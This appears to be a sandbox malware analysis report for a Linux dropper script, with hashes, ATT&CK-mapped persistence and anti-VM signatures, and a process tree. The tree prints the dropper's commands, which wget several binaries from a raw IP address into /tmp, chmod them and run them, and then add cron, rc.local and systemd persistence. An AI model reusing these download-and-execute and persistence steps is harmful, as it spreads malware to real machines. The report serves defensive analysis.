1afef2d905da741371e6a23336d217ce35d0e4d06859007ed1c3b3ba0f0c6f4c

Analysis

max time kernel
149s
max time network
140s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/08/2026, 19:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 843B
Sample260807-x5qbbasclf
SHA256 1afef2d905da741371e6a23336d217ce35d0e4d06859007ed1c3b3ba0f0c6f4c
MD5 f549af4faafff8f9f4b3896f1fd59db6
SHA1 7664626fb9516fcb6d0fc614c1ac0e54e708651e
SHA512 c3810d72c429cdfd009a4268138372197745c7d0a3af237c6716aeb826606d101f4fbd97f9c93f8f1f73db96f0d2d30a3e8b94ef94629e2cfaf03dde3cd4c508
TLSH
T1E101CEDFD66099005419D92D62ABA690B861C3CB055B4FB87F9CA53DAF8CE14F027F8C
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
826	chmod
773	chmod
798	chmod
805	chmod
822	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/Y3P	774	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	Y3P
File opened for modification	/etc/crontab	Y3P

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	Y3P

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	Y3P

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	Y3P

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/107/cmdline	Y3P
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/892/cmdline	Y3P
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/105/cmdline	Y3P
File opened for reading	/proc/853/exe	Y3P
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/42/cmdline	Y3P
File opened for reading	/proc/807/cmdline	Y3P
File opened for reading	/proc/869/exe	Y3P
File opened for reading	/proc/875/exe	Y3P
File opened for reading	/proc/3/cmdline	Y3P
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/322/exe	Y3P
File opened for reading	/proc/23/cmdline	Y3P
File opened for reading	/proc/159/cmdline	Y3P
File opened for reading	/proc/780/cmdline	Y3P
File opened for reading	/proc/825/cmdline	Y3P
File opened for reading	/proc/778/exe	Y3P
File opened for reading	/proc/22/cmdline	Y3P
File opened for reading	/proc/305/cmdline	Y3P
File opened for reading	/proc/814/exe	Y3P
File opened for reading	/proc/848/exe	Y3P
File opened for reading	/proc/857/exe	Y3P
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/21/cmdline	Y3P
File opened for reading	/proc/274/cmdline	Y3P
File opened for reading	/proc/793/exe	Y3P
File opened for reading	/proc/867/cmdline	Y3P
File opened for reading	/proc/890/exe	Y3P
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/314/cmdline	Y3P
File opened for reading	/proc/774/cmdline	Y3P
File opened for reading	/proc/808/cmdline	Y3P
File opened for reading	/proc/828/exe	Y3P
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/169/exe	Y3P
File opened for reading	/proc/669/cmdline	Y3P
File opened for reading	/proc/829/exe	Y3P
File opened for reading	/proc/835/cmdline	Y3P
File opened for reading	/proc/896/cmdline	Y3P
File opened for reading	/proc/772/exe	Y3P
File opened for reading	/proc/26/cmdline	Y3P
File opened for reading	/proc/628/cmdline	Y3P
File opened for reading	/proc/645/cmdline	Y3P
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/868/cmdline	Y3P
File opened for reading	/proc/894/cmdline	Y3P
File opened for reading	/proc/mounts	Y3P
File opened for reading	/proc/815/exe	Y3P
File opened for reading	/proc/846/cmdline	Y3P
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/exe	Y3P
File opened for reading	/proc/288/exe	Y3P
File opened for reading	/proc/16/cmdline	Y3P

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Y3P	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:645
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:647
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:653
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  PID:657
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  PID:661
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  PID:665
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:667
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:670
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/213/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/274/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/278/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/314/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/319/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/322/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/566/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/578/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/628/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  PID:734
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/97/exe
  2⤵
  PID:756
- /bin/rm
  rm -rf Y3P
  2⤵
  PID:758
- /usr/bin/wget
  wget http://129.121.110.105/Y3P
  2⤵
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 Y3P
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/Y3P
  ./Y3P pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:774
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:796
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:795
- /bin/rm
  rm -rf 4vqU
  2⤵
  PID:782
- /usr/bin/wget
  wget http://129.121.110.105/4vqU
  2⤵
  PID:793
- /bin/chmod
  chmod 777 4vqU
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/4vqU
  ./4vqU pdvr
  2⤵
  PID:799
- /bin/rm
  rm -rf yx2w
  2⤵
  PID:800
- /usr/bin/wget
  wget http://129.121.110.105/yx2w
  2⤵
  PID:802
- /bin/chmod
  chmod 777 yx2w
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/yx2w
  ./yx2w pdvr
  2⤵
  PID:806
- /bin/rm
  rm -rf 7uv8
  2⤵
  PID:807
- /usr/bin/wget
  wget http://129.121.110.105/7uv8
  2⤵
  PID:815
- /bin/chmod
  chmod 777 7uv8
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/7uv8
  ./7uv8 pdvr
  2⤵
  PID:823
- /bin/rm
  rm -rf xl01
  2⤵
  PID:824
- /usr/bin/wget
  wget http://129.121.110.105/xl01
  2⤵
  PID:825
- /bin/chmod
  chmod 777 xl01
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/xl01
  ./xl01 pdvr
  2⤵
  PID:827
- /bin/rm
  rm -rf p
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 30B
SHA256 8f69127acc679593731d12e06ac1b0be5a459e313532ded441d74eb66b373c80
MD5 611fc6922dde5b88cfbf5d23301f062f
SHA1 b142d71cf6f371d36cb94f461286a7164a98d08c
SHA512 3b8e74137c238e321fc618febe27eead11026e62241807d5d86aab09fae8c7491b972e73c4eead92927b21e6a43ad68dc43b21ebacf02e6048667ffc711e7d44
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 34B
SHA256 ab169f37d5b740118888a95aa01101326b184f35a912094a8ac3e329abd01e94
MD5 e99dcf40ff75708eb5e04e6b9875d470
SHA1 a50a2383c67e93664c8c075a33591e53f73e12c1
SHA512 a8d7d7d76c087e1a5a3f1f0053bfb686d58fcae94de6703869ecfc99498c5666cb73dd76b22e6ca0be8e119e1575b1d9674b6e3efd922bc11e51441bbaec063c
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 193B
SHA256 49707eaa3bc64c5887856bc6906c9a5595824df1b00f7c10b781e93f5d42b8be
MD5 be6c4156a1b3e071c5711eb0f506e5e2
SHA1 374dbf50b5add969aaa8f677b9290e47050de7c2
SHA512 85a1a21b7642be13e2aa93f709d99cd08d557d0132f3a0d629c4876be733396a43a247d40c22eb67621a29e3d3027810e557a0901af163422d0aefbbf1747d9e
TLSH
T10BC02223A46114E4898F39A2AEE32B448DA202400BCF92B00BC418292DF21E76121EAE
MD5 SHA1 SHA512 TLSH

Submit Download

Y3P

Path /tmp/Y3P
Size 73KB
SHA256 9dd6dbe39b6d52fd135192d21ea3344a23a4a4604b00aae5049123949edb32eb
MD5 01517bd24f09ce052f3bc8a37c73d9e3
SHA1 a232fc6fb18b054e41c6dbb5516dd4c5ab55062d
SHA512 12ca45b29db757f5e8cb552f530021983852944234b3a8c39b2e0428ed0a3146a611063a796c3ccfbbfda921b65c32cf326a299ba0a8479b225c6995a48848ce
SSDEEP 1536:uYTFSmH+zqX/JMQhn7qWlosAjTIkJDfvEXjoZo8IFRhw7a3m3G:uYTF7H+m/nx7RSsAjTHNXEzaPIFRhw7N
TLSH
T173732956B9919F0BC6C26637FF1E8349331A23A8E3EA7103DB156F21379B55A0E3A141
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads